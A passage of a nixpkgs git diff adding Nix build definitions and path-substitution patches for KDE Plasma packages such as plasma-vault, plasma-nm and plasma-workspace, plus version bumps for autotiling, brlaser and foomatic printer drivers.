"-DKF5GuiAddons_DIR=${libsForQt5.kguiaddons.dev}/lib/cmake/KF5GuiAddons" + "-DKF5I18n_DIR=${libsForQt5.ki18n.dev}/lib/cmake/KF5I18n" + "-DKF5IconThemes_DIR=${libsForQt5.kiconthemes.dev}/lib/cmake/KF5IconThemes" + "-DKF5ItemViews_DIR=${libsForQt5.kitemviews.dev}/lib/cmake/KF5ItemViews" + "-DKF5JobWidgets_DIR=${libsForQt5.kjobwidgets.dev}/lib/cmake/KF5JobWidgets" + "-DKF5KIO_DIR=${libsForQt5.kio.dev}/lib/cmake/KF5KIO" + "-DKF5Notifications_DIR=${libsForQt5.knotifications.dev}/lib/cmake/KF5Notifications" + "-DKF5Service_DIR=${libsForQt5.kservice.dev}/lib/cmake/KF5Service" + "-DKF5Solid_DIR=${libsForQt5.solid.dev}/lib/cmake/KF5Solid" + "-DKF5Wayland_DIR=${libsForQt5.kwayland.dev}/lib/cmake/KF5Wayland" + "-DKF5WidgetsAddons_DIR=${libsForQt5.kwidgetsaddons.dev}/lib/cmake/KF5WidgetsAddons" + "-DKF5WindowSystem_DIR=${libsForQt5.kwindowsystem.dev}/lib/cmake/KF5WindowSystem" + "-DKF5XmlGui_DIR=${libsForQt5.kxmlgui.dev}/lib/cmake/KF5XmlGui" + ]; + + extraBuildInputs = [qtwayland xorg.libXcursor]; + + # Move Qt5 plugin to Qt5 plugin path + postInstall = '' + mkdir -p $qt5/${libsForQt5.qtbase.qtPluginPrefix}/platformthemes + mv $out/${qtbase.qtPluginPrefix}/platformthemes/KDEPlasmaPlatformTheme5.so $qt5/${libsForQt5.qtbase.qtPluginPrefix}/platformthemes + ''; +} diff --git a/pkgs/kde/plasma/plasma-integration/qml-path.patch b/pkgs/kde/plasma/plasma-integration/qml-path.patch new file mode 100644 index 0000000000000..33af3fe9d8ea2 --- /dev/null +++ b/pkgs/kde/plasma/plasma-integration/qml-path.patch @@ -0,0 +1,12 @@ +diff --git a/qt6/src/platformtheme/kdeplatformtheme.cpp b/qt6/src/platformtheme/kdeplatformtheme.cpp +index fea04b5..7efafd1 100644 +--- a/qt6/src/platformtheme/kdeplatformtheme.cpp ++++ b/qt6/src/platformtheme/kdeplatformtheme.cpp +@@ -551,6 +551,7 @@ bool KdePlatformTheme::checkIfThemeExists(const QString &themePath) + // QML_IMPORT_PATH is the new one, but QML2_IMPORT_PATH is still used + checkEnvironmentVariable("QML2_IMPORT_PATH"); + checkEnvironmentVariable("QML_IMPORT_PATH"); ++ checkEnvironmentVariable("NIXPKGS_QT6_QML_IMPORT_PATH"); + + for (const QString &path : moduleSearchPaths) { + if (QDir(path + themePath).exists()) { diff --git a/pkgs/kde/plasma/plasma-mobile/default.nix b/pkgs/kde/plasma/plasma-mobile/default.nix new file mode 100644 index 0000000000000..92bb1d66d5e30 --- /dev/null +++ b/pkgs/kde/plasma/plasma-mobile/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + qtsensors, +}: +mkKdeDerivation { + pname = "plasma-mobile"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtsensors]; +} diff --git a/pkgs/kde/plasma/plasma-nano/default.nix b/pkgs/kde/plasma/plasma-nano/default.nix new file mode 100644 index 0000000000000..9cdb24f013e7f --- /dev/null +++ b/pkgs/kde/plasma/plasma-nano/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "plasma-nano"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/plasma/plasma-nm/0002-openvpn-binary-path.patch b/pkgs/kde/plasma/plasma-nm/0002-openvpn-binary-path.patch new file mode 100644 index 0000000000000..c32e73bc2c6c2 --- /dev/null +++ b/pkgs/kde/plasma/plasma-nm/0002-openvpn-binary-path.patch @@ -0,0 +1,13 @@ +diff --git a/vpn/openvpn/openvpnadvancedwidget.cpp b/vpn/openvpn/openvpnadvancedwidget.cpp +index 2f11ba1d..310f11b4 100644 +--- a/vpn/openvpn/openvpnadvancedwidget.cpp ++++ b/vpn/openvpn/openvpnadvancedwidget.cpp +@@ -75,7 +75,7 @@ OpenVpnAdvancedWidget::OpenVpnAdvancedWidget(const NetworkManager::VpnSetting::P + connect(m_ui->cmbProxyType, static_cast<void (QComboBox::*)(int)>(&QComboBox::currentIndexChanged), this, &OpenVpnAdvancedWidget::proxyTypeChanged); + + // start openVPN process and get its cipher list +- const QString openVpnBinary = QStandardPaths::findExecutable("openvpn", QStringList{"/sbin", "/usr/sbin"}); ++ const QString openVpnBinary = "@openvpn@/bin/openvpn"; + const QStringList ciphersArgs(QLatin1String("--show-ciphers")); + const QStringList versionArgs(QLatin1String("--version")); + diff --git a/pkgs/kde/plasma/plasma-nm/default.nix b/pkgs/kde/plasma/plasma-nm/default.nix new file mode 100644 index 0000000000000..a53ec99a8bed1 --- /dev/null +++ b/pkgs/kde/plasma/plasma-nm/default.nix @@ -0,0 +1,26 @@ +{ + mkKdeDerivation, + substituteAll, + pkg-config, + qtwebengine, + mobile-broadband-provider-info, + openconnect, + openvpn, +}: +mkKdeDerivation { + pname = "plasma-nm"; + + patches = [ + (substituteAll { + src = ./0002-openvpn-binary-path.patch; + inherit openvpn; + }) + ]; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [ + qtwebengine + mobile-broadband-provider-info + openconnect + ]; +} diff --git a/pkgs/kde/plasma/plasma-pa/default.nix b/pkgs/kde/plasma/plasma-pa/default.nix new file mode 100644 index 0000000000000..4d721ecc711ba --- /dev/null +++ b/pkgs/kde/plasma/plasma-pa/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + pkg-config, + libcanberra, + pulseaudio, +}: +mkKdeDerivation { + pname = "plasma-pa"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [libcanberra pulseaudio]; +} diff --git a/pkgs/kde/plasma/plasma-sdk/default.nix b/pkgs/kde/plasma/plasma-sdk/default.nix new file mode 100644 index 0000000000000..68f5a30fc936d --- /dev/null +++ b/pkgs/kde/plasma/plasma-sdk/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtsvg, +}: +mkKdeDerivation { + pname = "plasma-sdk"; + + extraBuildInputs = [qtsvg]; +} diff --git a/pkgs/kde/plasma/plasma-systemmonitor/default.nix b/pkgs/kde/plasma/plasma-systemmonitor/default.nix new file mode 100644 index 0000000000000..8a8bff96ecfff --- /dev/null +++ b/pkgs/kde/plasma/plasma-systemmonitor/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "plasma-systemmonitor"; +} diff --git a/pkgs/kde/plasma/plasma-thunderbolt/default.nix b/pkgs/kde/plasma/plasma-thunderbolt/default.nix new file mode 100644 index 0000000000000..5b1b682ac9bc1 --- /dev/null +++ b/pkgs/kde/plasma/plasma-thunderbolt/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "plasma-thunderbolt"; +} diff --git a/pkgs/kde/plasma/plasma-vault/0001-encfs-path.patch b/pkgs/kde/plasma/plasma-vault/0001-encfs-path.patch new file mode 100644 index 0000000000000..a5e9d8c531e19 --- /dev/null +++ b/pkgs/kde/plasma/plasma-vault/0001-encfs-path.patch @@ -0,0 +1,31 @@ +From fef6bfe87db4411e3dda2f96741cd8204fe41d85 Mon Sep 17 00:00:00 2001 +From: Thomas Tuegel <ttuegel@mailbox.org> +Date: Tue, 2 Nov 2021 05:57:50 -0500 +Subject: [PATCH 1/3] encfs path + +--- + kded/engine/backends/encfs/encfsbackend.cpp | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/kded/engine/backends/encfs/encfsbackend.cpp b/kded/engine/backends/encfs/encfsbackend.cpp +index 2d15fa2..3f49867 100644 +--- a/kded/engine/backends/encfs/encfsbackend.cpp ++++ b/kded/engine/backends/encfs/encfsbackend.cpp +@@ -101,12 +101,12 @@ QProcess *EncFsBackend::encfs(const QStringList &arguments) const + auto config = KSharedConfig::openConfig(PLASMAVAULT_CONFIG_FILE); + KConfigGroup backendConfig(config, "EncfsBackend"); + +- return process("encfs", arguments + backendConfig.readEntry("extraMountOptions", QStringList{}), {}); ++ return process(NIXPKGS_ENCFS, arguments + backendConfig.readEntry("extraMountOptions", QStringList{}), {}); + } + + QProcess *EncFsBackend::encfsctl(const QStringList &arguments) const + { +- return process("encfsctl", arguments, {}); ++ return process(NIXPKGS_ENCFSCTL, arguments, {}); + } + + } // namespace PlasmaVault +-- +2.33.1 + diff --git a/pkgs/kde/plasma/plasma-vault/0002-cryfs-path.patch b/pkgs/kde/plasma/plasma-vault/0002-cryfs-path.patch new file mode 100644 index 0000000000000..4c7567b15076f --- /dev/null +++ b/pkgs/kde/plasma/plasma-vault/0002-cryfs-path.patch @@ -0,0 +1,25 @@ +From a89a0d3f9088d272c01ccb9b730d1dbb500f9cb8 Mon Sep 17 00:00:00 2001 +From: Thomas Tuegel <ttuegel@mailbox.org> +Date: Tue, 2 Nov 2021 05:59:34 -0500 +Subject: [PATCH 2/3] cryfs path + +--- + kded/engine/backends/cryfs/cryfsbackend.cpp | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kded/engine/backends/cryfs/cryfsbackend.cpp b/kded/engine/backends/cryfs/cryfsbackend.cpp +index 64138b6..1a9fde2 100644 +--- a/kded/engine/backends/cryfs/cryfsbackend.cpp ++++ b/kded/engine/backends/cryfs/cryfsbackend.cpp +@@ -207,7 +207,7 @@ QProcess *CryFsBackend::cryfs(const QStringList &arguments) const + auto config = KSharedConfig::openConfig(PLASMAVAULT_CONFIG_FILE); + KConfigGroup backendConfig(config, "CryfsBackend"); + +- return process("cryfs", arguments + backendConfig.readEntry("extraMountOptions", QStringList{}), {{"CRYFS_FRONTEND", "noninteractive"}}); ++ return process(NIXPKGS_CRYFS, arguments + backendConfig.readEntry("extraMountOptions", QStringList{}), {{"CRYFS_FRONTEND", "noninteractive"}}); + } + + } // namespace PlasmaVault +-- +2.33.1 + diff --git a/pkgs/kde/plasma/plasma-vault/0003-fusermount-path.patch b/pkgs/kde/plasma/plasma-vault/0003-fusermount-path.patch new file mode 100644 index 0000000000000..0d4481c705418 --- /dev/null +++ b/pkgs/kde/plasma/plasma-vault/0003-fusermount-path.patch @@ -0,0 +1,25 @@ +From 63571e28c65935f32567c0b179a096d62726b778 Mon Sep 17 00:00:00 2001 +From: Thomas Tuegel <ttuegel@mailbox.org> +Date: Tue, 2 Nov 2021 06:00:32 -0500 +Subject: [PATCH 3/3] fusermount path + +--- + kded/engine/fusebackend_p.cpp | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/kded/engine/fusebackend_p.cpp b/kded/engine/fusebackend_p.cpp +index 91f3523..1c19d88 100644 +--- a/kded/engine/fusebackend_p.cpp ++++ b/kded/engine/fusebackend_p.cpp +@@ -86,7 +86,7 @@ QProcess *FuseBackend::process(const QString &executable, const QStringList &arg + + QProcess *FuseBackend::fusermount(const QStringList &arguments) const + { +- return process("fusermount", arguments, {}); ++ return process(NIXPKGS_FUSERMOUNT, arguments, {}); + } + + FutureResult<> FuseBackend::initialize(const QString &name, const Device &device, const MountPoint &mountPoint, const Vault::Payload &payload) +-- +2.33.1 + diff --git a/pkgs/kde/plasma/plasma-vault/0004-gocryptfs-path.patch b/pkgs/kde/plasma/plasma-vault/0004-gocryptfs-path.patch new file mode 100644 index 0000000000000..8790f877ff07e --- /dev/null +++ b/pkgs/kde/plasma/plasma-vault/0004-gocryptfs-path.patch @@ -0,0 +1,13 @@ +diff --git a/kded/engine/backends/gocryptfs/gocryptfsbackend.cpp b/kded/engine/backends/gocryptfs/gocryptfsbackend.cpp +index 2d6df94..3e8ec9a 100644 +--- a/kded/engine/backends/gocryptfs/gocryptfsbackend.cpp ++++ b/kded/engine/backends/gocryptfs/gocryptfsbackend.cpp +@@ -202,7 +202,7 @@ QProcess *GocryptfsBackend::gocryptfs(const QStringList &arguments) const + auto config = KSharedConfig::openConfig(PLASMAVAULT_CONFIG_FILE); + KConfigGroup backendConfig(config, "GocryptfsBackend"); + +- return process("gocryptfs", arguments + backendConfig.readEntry("extraMountOptions", QStringList{}), {}); ++ return process(NIXPKGS_GOCRYPTFS, arguments + backendConfig.readEntry("extraMountOptions", QStringList{}), {}); + } + + QString GocryptfsBackend::getConfigFilePath(const Device &device) const diff --git a/pkgs/kde/plasma/plasma-vault/default.nix b/pkgs/kde/plasma/plasma-vault/default.nix new file mode 100644 index 0000000000000..9ab545ab87b8c --- /dev/null +++ b/pkgs/kde/plasma/plasma-vault/default.nix @@ -0,0 +1,29 @@ +{ + lib, + mkKdeDerivation, + pkg-config, + gocryptfs, + fuse, + cryfs, + encfs, +}: +mkKdeDerivation { + pname = "plasma-vault"; + + patches = [ + ./0001-encfs-path.patch + ./0002-cryfs-path.patch + ./0003-fusermount-path.patch + ./0004-gocryptfs-path.patch + ]; + + CXXFLAGS = [ + ''-DNIXPKGS_ENCFS=\"${lib.getBin encfs}/bin/encfs\"'' + ''-DNIXPKGS_ENCFSCTL=\"${lib.getBin encfs}/bin/encfsctl\"'' + ''-DNIXPKGS_CRYFS=\"${lib.getBin cryfs}/bin/cryfs\"'' + ''-DNIXPKGS_FUSERMOUNT=\"${lib.getBin fuse}/bin/fusermount\"'' + ''-DNIXPKGS_GOCRYPTFS=\"${lib.getBin gocryptfs}/bin/gocryptfs\"'' + ]; + + extraNativeBuildInputs = [pkg-config]; +} diff --git a/pkgs/kde/plasma/plasma-welcome/default.nix b/pkgs/kde/plasma/plasma-welcome/default.nix new file mode 100644 index 0000000000000..976a788a16e9d --- /dev/null +++ b/pkgs/kde/plasma/plasma-welcome/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtsvg, + kuserfeedback, +}: +mkKdeDerivation { + pname = "plasma-welcome"; + + extraBuildInputs = [qtsvg kuserfeedback]; +} diff --git a/pkgs/kde/plasma/plasma-workspace-wallpapers/default.nix b/pkgs/kde/plasma/plasma-workspace-wallpapers/default.nix new file mode 100644 index 0000000000000..af8c892492746 --- /dev/null +++ b/pkgs/kde/plasma/plasma-workspace-wallpapers/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + extra-cmake-modules, +}: +mkKdeDerivation { + pname = "plasma-workspace-wallpapers"; + + extraBuildInputs = [extra-cmake-modules]; +} diff --git a/pkgs/kde/plasma/plasma-workspace/default.nix b/pkgs/kde/plasma/plasma-workspace/default.nix new file mode 100644 index 0000000000000..24e41b971cf05 --- /dev/null +++ b/pkgs/kde/plasma/plasma-workspace/default.nix @@ -0,0 +1,54 @@ +{ + lib, + mkKdeDerivation, + substituteAll, + xorg, + pkg-config, + spirv-tools, + qtsvg, + qtwayland, + libcanberra, + libqalculate, + pipewire, + breeze, + qttools, + qqc2-breeze-style, + gpsd, +}: +mkKdeDerivation { + pname = "plasma-workspace"; + + patches = [ + (substituteAll { + src = ./tool-paths.patch; + xmessage = "${lib.getBin xorg.xmessage}/bin/xmessage"; + xsetroot = "${lib.getBin xorg.xsetroot}/bin/xsetroot"; + qdbus = "${lib.getBin qttools}/bin/qdbus"; + }) + (substituteAll { + src = ./wallpaper-paths.patch; + wallpapers = "${lib.getBin breeze}/share/wallpapers"; + }) + ]; + + extraNativeBuildInputs = [pkg-config spirv-tools]; + extraBuildInputs = [ + qtsvg + qtwayland + + qqc2-breeze-style + + libcanberra + libqalculate + pipewire + + xorg.libSM + xorg.libXcursor + xorg.libXtst + xorg.libXft + + gpsd + ]; + + passthru.providedSessions = ["plasma" "plasmax11"]; +} diff --git a/pkgs/kde/plasma/plasma-workspace/tool-paths.patch b/pkgs/kde/plasma/plasma-workspace/tool-paths.patch new file mode 100644 index 0000000000000..d750028200b21 --- /dev/null +++ b/pkgs/kde/plasma/plasma-workspace/tool-paths.patch @@ -0,0 +1,68 @@ +diff --git a/kcms/krdb/krdb.cpp b/kcms/krdb/krdb.cpp +index 46363ddcb..d787f9993 100644 +--- a/kcms/krdb/krdb.cpp ++++ b/kcms/krdb/krdb.cpp +@@ -468,7 +468,7 @@ void runRdb(unsigned int flags) + proc.execute(); + + // Needed for applications that don't set their own cursor. +- QProcess::execute(QStringLiteral("xsetroot"), {QStringLiteral("-cursor_name"), QStringLiteral("left_ptr")}); ++ QProcess::execute(QStringLiteral("@xsetroot@"), {QStringLiteral("-cursor_name"), QStringLiteral("left_ptr")}); + + applyGtkStyles(1); + applyGtkStyles(2); +diff --git a/startkde/startplasma.cpp b/startkde/startplasma.cpp +index b0158c97d..c8f7fe223 100644 +--- a/startkde/startplasma.cpp ++++ b/startkde/startplasma.cpp +@@ -50,7 +50,7 @@ void sigtermHandler(int signalNumber) + void messageBox(const QString &text) + { + out << text; +- runSync(QStringLiteral("xmessage"), {QStringLiteral("-geometry"), QStringLiteral("500x100"), text}); ++ runSync(QStringLiteral("@xmessage@"), {QStringLiteral("-geometry"), QStringLiteral("500x100"), text}); + } + + QStringList allServices(const QLatin1String &prefix) +@@ -484,7 +484,7 @@ QProcess *setupKSplash() + if (ksplashCfg.readEntry("Engine", QStringLiteral("KSplashQML")) == QLatin1String("KSplashQML")) { + p = new QProcess; + p->setProcessChannelMode(QProcess::ForwardedChannels); +- p->start(QStringLiteral("ksplashqml"), {ksplashCfg.readEntry("Theme", QStringLiteral("Breeze"))}); ++ p->start(QStringLiteral(CMAKE_INSTALL_FULL_BINDIR "/ksplashqml"), {ksplashCfg.readEntry("Theme", QStringLiteral("Breeze"))}); + } + } + return p; +diff --git a/ksmserver/plasma-restoresession.service.in b/ksmserver/plasma-restoresession.service.in +index 2c52a4b87..fd7fdc8ac 100644 +--- a/ksmserver/plasma-restoresession.service.in ++++ b/ksmserver/plasma-restoresession.service.in +@@ -5,5 +5,5 @@ RefuseManualStart=yes + + [Service] + Type=oneshot +-ExecStart=-@QtBinariesDir@/qdbus org.kde.ksmserver /KSMServer org.kde.KSMServerInterface.restoreSession ++ExecStart=-@qdbus@ org.kde.ksmserver /KSMServer org.kde.KSMServerInterface.restoreSession + Slice=session.slice +diff --git a/startkde/kcminit/plasma-kcminit-phase1.service.in b/startkde/kcminit/plasma-kcminit-phase1.service.in +index 7218628ce..9126475ea 100644 +--- a/startkde/kcminit/plasma-kcminit-phase1.service.in ++++ b/startkde/kcminit/plasma-kcminit-phase1.service.in +@@ -6,5 +6,5 @@ PartOf=graphical-session.target + + [Service] + Type=oneshot +-ExecStart=@QtBinariesDir@/qdbus org.kde.kcminit /kcminit org.kde.KCMInit.runPhase1 ++ExecStart=@qdbus@ org.kde.kcminit /kcminit org.kde.KCMInit.runPhase1 + Slice=session.slice +diff --git a/startkde/systemd/plasma-ksplash-ready.service.in b/startkde/systemd/plasma-ksplash-ready.service.in +index 3f6744f37..c51266794 100644 +--- a/startkde/systemd/plasma-ksplash-ready.service.in ++++ b/startkde/systemd/plasma-ksplash-ready.service.in +@@ -6,5 +6,5 @@ PartOf=graphical-session.target + + [Service] + Type=oneshot +-ExecStart=-@QtBinariesDir@/qdbus org.kde.KSplash /KSplash org.kde.KSplash.setStage ready ++ExecStart=-@qdbus@ org.kde.KSplash /KSplash org.kde.KSplash.setStage ready + Slice=session.slice diff --git a/pkgs/kde/plasma/plasma-workspace/wallpaper-paths.patch b/pkgs/kde/plasma/plasma-workspace/wallpaper-paths.patch new file mode 100644 index 0000000000000..050200a8411f1 --- /dev/null +++ b/pkgs/kde/plasma/plasma-workspace/wallpaper-paths.patch @@ -0,0 +1,9 @@ +--- a/lookandfeel/sddm-theme/theme.conf.cmake ++++ b/lookandfeel/sddm-theme/theme.conf.cmake +@@ -4,5 +4,5 @@ logo=${KDE_INSTALL_FULL_DATADIR}/sddm/themes/breeze/default-logo.svg + type=image + color=#1d99f3 + fontSize=10 +-background=${KDE_INSTALL_FULL_WALLPAPERDIR}/Next/contents/images/5120x2880.png ++background=@wallpapers@/Next/contents/images/5120x2880.png + needsFullUserModel=false diff --git a/pkgs/kde/plasma/plasma5support/default.nix b/pkgs/kde/plasma/plasma5support/default.nix new file mode 100644 index 0000000000000..385626aeedc00 --- /dev/null +++ b/pkgs/kde/plasma/plasma5support/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "plasma5support"; +} diff --git a/pkgs/kde/plasma/plymouth-kcm/default.nix b/pkgs/kde/plasma/plymouth-kcm/default.nix new file mode 100644 index 0000000000000..dcf339dd9b2e8 --- /dev/null +++ b/pkgs/kde/plasma/plymouth-kcm/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + plymouth, +}: +mkKdeDerivation { + pname = "plymouth-kcm"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [plymouth]; +} diff --git a/pkgs/kde/plasma/polkit-kde-agent-1/default.nix b/pkgs/kde/plasma/polkit-kde-agent-1/default.nix new file mode 100644 index 0000000000000..6c4bf0653f091 --- /dev/null +++ b/pkgs/kde/plasma/polkit-kde-agent-1/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "polkit-kde-agent-1"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/plasma/powerdevil/default.nix b/pkgs/kde/plasma/powerdevil/default.nix new file mode 100644 index 0000000000000..8b0c270e85c64 --- /dev/null +++ b/pkgs/kde/plasma/powerdevil/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + libcap, +}: +mkKdeDerivation { + pname = "powerdevil"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [libcap]; +} diff --git a/pkgs/kde/plasma/print-manager/default.nix b/pkgs/kde/plasma/print-manager/default.nix new file mode 100644 index 0000000000000..fce60dcb968b9 --- /dev/null +++ b/pkgs/kde/plasma/print-manager/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + cups, +}: +mkKdeDerivation { + pname = "print-manager"; + + # FIXME: cups-smb? + extraBuildInputs = [cups]; +} diff --git a/pkgs/kde/plasma/qqc2-breeze-style/default.nix b/pkgs/kde/plasma/qqc2-breeze-style/default.nix new file mode 100644 index 0000000000000..2d950f63e0c57 --- /dev/null +++ b/pkgs/kde/plasma/qqc2-breeze-style/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "qqc2-breeze-style"; +} diff --git a/pkgs/kde/plasma/sddm-kcm/default.nix b/pkgs/kde/plasma/sddm-kcm/default.nix new file mode 100644 index 0000000000000..d60c5e4e6ff78 --- /dev/null +++ b/pkgs/kde/plasma/sddm-kcm/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "sddm-kcm"; +} diff --git a/pkgs/kde/plasma/systemsettings/default.nix b/pkgs/kde/plasma/systemsettings/default.nix new file mode 100644 index 0000000000000..2dd529b9380e6 --- /dev/null +++ b/pkgs/kde/plasma/systemsettings/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "systemsettings"; +} diff --git a/pkgs/kde/plasma/wacomtablet/default.nix b/pkgs/kde/plasma/wacomtablet/default.nix new file mode 100644 index 0000000000000..c24e8739f7469 --- /dev/null +++ b/pkgs/kde/plasma/wacomtablet/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + pkg-config, + libwacom, + xf86_input_wacom, +}: +mkKdeDerivation { + pname = "wacomtablet"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [libwacom xf86_input_wacom]; +} diff --git a/pkgs/kde/plasma/xdg-desktop-portal-kde/default.nix b/pkgs/kde/plasma/xdg-desktop-portal-kde/default.nix new file mode 100644 index 0000000000000..9d5be65fe097b --- /dev/null +++ b/pkgs/kde/plasma/xdg-desktop-portal-kde/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + pkg-config, + qtwayland, + wayland, + wayland-protocols, + cups, +}: +mkKdeDerivation { + pname = "xdg-desktop-portal-kde"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtwayland wayland wayland-protocols cups]; +} diff --git a/pkgs/misc/autotiling/default.nix b/pkgs/misc/autotiling/default.nix index 7bce53c54d83e..7ce870cfce1cd 100644 --- a/pkgs/misc/autotiling/default.nix +++ b/pkgs/misc/autotiling/default.nix @@ -2,13 +2,13 @@ buildPythonApplication rec { pname = "autotiling"; - version = "1.9"; + version = "1.9.1"; src = fetchFromGitHub { owner = "nwg-piotr"; repo = pname; rev = "refs/tags/v${version}"; - sha256 = "sha256-0wZg4FvBo2AyVRexY3ZJhBTqUwElqyIHD5bLJ84WynE="; + hash = "sha256-PTMF9w4PMkKuhjLAP7856lOOiuyj5YZOoax0K9bgGgQ="; }; propagatedBuildInputs = [ i3ipc importlib-metadata ]; diff --git a/pkgs/misc/cups/drivers/brlaser/default.nix b/pkgs/misc/cups/drivers/brlaser/default.nix index b0dfd8d8170a3..1f95c8cdd0317 100644 --- a/pkgs/misc/cups/drivers/brlaser/default.nix +++ b/pkgs/misc/cups/drivers/brlaser/default.nix @@ -2,13 +2,13 @@ stdenv.mkDerivation rec { pname = "brlaser"; - version = "6"; + version = "6-unstable-2023-02-30"; src = fetchFromGitHub { owner = "pdewacht"; repo = "brlaser"; - rev = "v${version}"; - sha256 = "1995s69ksq1fz0vb34v0ndiqncrinbrlpmp70rkl6az7kag99s80"; + rev = "2a49e3287c70c254e7e3ac9dabe9d6a07218c3fa"; + sha256 = "sha256-1fvO9F7ifbYQHAy54mOx052XutfKXSK6iT/zj4Mhbww="; }; nativeBuildInputs = [ cmake ]; diff --git a/pkgs/misc/cups/drivers/foomatic-db-engine/default.nix b/pkgs/misc/cups/drivers/foomatic-db-engine/default.nix index 7c1bc55d3330a..497223c4451e4 100644 --- a/pkgs/misc/cups/drivers/foomatic-db-engine/default.nix +++ b/pkgs/misc/cups/drivers/foomatic-db-engine/default.nix @@ -17,15 +17,15 @@ perlPackages.buildPerlPackage rec { pname = "foomatic-db-engine"; - version = "unstable-2022-05-03"; + version = "unstable-2024-02-10"; src = fetchFromGitHub { # there is also a daily snapshot at the `downloadPage`, # but it gets deleted quickly and would provoke 404 errors owner = "OpenPrinting"; repo = "foomatic-db-engine"; - rev = "2e6f14b54748fa121a4d2e3d480010e10b070c5a"; - hash = "sha256-m7FQTxWmawbtm24h8UqznGKXgX41JhOtyyFMRwEhm5k="; + rev = "fa91bdfd87da9005591ac2ef2c9c7b8ecdd19511"; + hash = "sha256-Ufy9BtYMD7sUUVfraTmO5e8+nZ4C4up5a5GXeGTtejg="; }; outputs = [ "out" ]; diff --git a/pkgs/misc/cups/drivers/foomatic-db/default.nix b/pkgs/misc/cups/drivers/foomatic-db/default.nix index cb8156b0a0a9c..b4be3a1436047 100644 --- a/pkgs/misc/cups/drivers/foomatic-db/default.nix +++ b/pkgs/misc/cups/drivers/foomatic-db/default.nix @@ -13,15 +13,15 @@ stdenv.mkDerivation rec { pname = "foomatic-db"; - version = "unstable-2023-09-02"; + version = "unstable-2024-02-09"; src = fetchFromGitHub { # there is also a daily snapshot at the `downloadPage`, # but it gets deleted quickly and would provoke 404 errors owner = "OpenPrinting"; repo = "foomatic-db"; - rev = "4e6ab90da63afddee33d80115acb44149d2d292b"; - hash = "sha256-wtDGJUyViiCenCY4zvr0Ia4ecZpoDsDSWwlYYs3YMT8="; + rev = "f8b43644771612f854fecda969440511de784bf0"; + hash = "sha256-8Pui83Z7g5aHBJk46AYeKil/0++I6zcc5S/BWRuy1WM="; }; buildInputs = [ cups cups-filters ghostscript gnused perl ]; diff --git a/pkgs/misc/cups/drivers/mfcj470dwcupswrapper/default.nix b/pkgs/misc/cups/drivers/mfcj470dwcupswrapper/default.nix index dc54611d335a7..767597548991a 100644 --- a/pkgs/misc/cups/drivers/mfcj470dwcupswrapper/default.nix +++ b/pkgs/misc/cups/drivers/mfcj470dwcupswrapper/default.nix @@ -1,4 +1,4 @@ -{ lib, stdenv, fetchurl, mfcj470dwlpr, makeWrapper}: +{ lib, stdenv, fetchurl, mfcj470dwlpr, makeWrapper, bash }: stdenv.mkDerivation rec { pname = "mfcj470dw-cupswrapper"; @@ -10,27 +10,27 @@ stdenv.mkDerivation rec { }; nativeBuildInputs = [ makeWrapper ]; - buildInputs = [ mfcj470dwlpr ]; + buildInputs = [ + bash # shebang + ]; - patchPhase = '' + makeFlags = [ "-C" "brcupsconfpt1" "all" ]; + + postPatch = '' WRAPPER=cupswrapper/cupswrappermfcj470dw substituteInPlace $WRAPPER \ - --replace /opt "${mfcj470dwlpr}/opt" \ - --replace /usr "${mfcj470dwlpr}/usr" \ - --replace /etc "$out/etc" + --replace-fail /opt "${mfcj470dwlpr}/opt" \ + --replace-fail /usr "${mfcj470dwlpr}/usr" \ + --replace-fail /etc "$out/etc" substituteInPlace $WRAPPER \ - --replace "cp " "cp -p " - ''; - - buildPhase = '' - cd brcupsconfpt1 - make all - cd .. - ''; + --replace-fail "cp " "cp -p " + ''; installPhase = '' + runHook preInstall + TARGETFOLDER=$out/opt/brother/Printers/mfcj470dw/cupswrapper/ PPDFOLDER=$out/share/cups/model/ FILTERFOLDER=$out/lib/cups/filter/ @@ -44,12 +44,9 @@ stdenv.mkDerivation rec { cp PPD/brother_mfcj470dw_printer_en.ppd $PPDFOLDER ln -s ${mfcj470dwlpr}/lib/cups/filter/brother_lpdwrapper_mfcj470dw $FILTERFOLDER/ - ''; - cleanPhase = '' - cd brcupsconfpt1 - make clean - ''; + runHook postInstall + ''; meta = { homepage = "http://www.brother.com/"; diff --git a/pkgs/misc/cups/drivers/mfcj6510dwcupswrapper/default.nix 